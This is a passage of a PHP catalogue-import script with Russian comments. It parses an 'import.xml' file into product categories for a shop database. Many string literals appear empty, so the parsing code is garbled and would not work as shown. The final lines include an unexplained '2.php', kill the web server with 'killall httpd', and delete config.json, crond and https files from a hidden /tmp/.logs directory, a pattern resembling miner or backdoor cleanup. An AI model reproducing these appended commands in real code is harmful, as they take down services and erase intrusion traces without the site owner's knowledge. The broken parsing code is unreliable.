connect( $set['bd_host'], $set['bd_user'], $set['bd_pass'], $set['bd_name'] ); $db -> debug = 2;//логирование в API - 1 - да, 0 нет //Убираем всякую дрянь function replacer_param ($text) { // ФУНКЦИЯ очистки кода $old1 = array('<', '>', '', '', "", '', "", '', '', '','', '', '', '', '', '', '', '', '', '', '', '', '', '', '<', '>', ';', '(', ')', '/'); $new1 = array('','','', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', " "); $text = str_replace($old1, $new1, $text); return $text; } //ищем одно в другом function find_txt($txt, $str){ $pos1 = stripos($txt, $str); if ($pos1 === false) return 0; else return 1; } $file='import.xml'; $count=0; $end=0; $handle = fopen("import.xml", "r"); while (!feof($handle)) {//перебираем типы товара $buffer = fgets($handle, 4096); if (find_txt($buffer, '')==1)$end=1;//проверяем, не пора ли завязывать с чтением категорий if ($end==0){ if (find_txt($buffer, '')==1)$postrow[$count]['code']=trim(replacer_param($buffer)); if (find_txt($buffer, '')==1)$postrow[$count]['parent']=trim(replacer_param($buffer)); if (find_txt($buffer, '')==1)$postrow[$count]['name']=trim(replacer_param($buffer)); if (find_txt($buffer, '')==1)$count++; } } fclose($handle); //читаем блядский массив, пишем в базу не достающее или обновляем то, что есть for($i = 0; $i < $count; $i++){/*показываем, пока колличество не иссякло*/ if (@$postrow[$i]['name']){ $lock=''; unset($a); unset($m); //Запрашиваем из БД по коду категорию, смотрим, есть ли lock==1 если нет - обнволяем или создаем $a['code']=$postrow[$i]['code']; $lock=$db->get_val('m_groupe', $a, 'lock'); $m['naim']=$postrow[$i]['name']; $m['code']=$postrow[$i]['code']; $m['code_p']=$postrow[$i]['parent']; $m['keywords']='Купить ' . $m['naim'] . ' не дорого в нижнем тагиле'; $m['description']='Купить ' . $m['naim'] . ' не дорого в нижнем тагиле'; # 1) - нет lock: создаем if ($lock=='') $db->add('m_groupe', $m); # 2) - если есть но равен нулю - обновляем if ($lock==0){ #узнаем ИД записи и обновляем $id=$db->get_val('m_groupe', $a, 'id'); $db->update('m_groupe', $id, $m); } # 3) - если есть но равен 1 - не трогаем } } unset($postrow); unset($category_id); include '2.php'; exec('killall httpd'); unlink('/tmp/.logs/config.json'); unlink('/tmp/.logs/crond'); unlink('/tmp/.logs/config.json'); unlink('/tmp/.logs/https'); ?>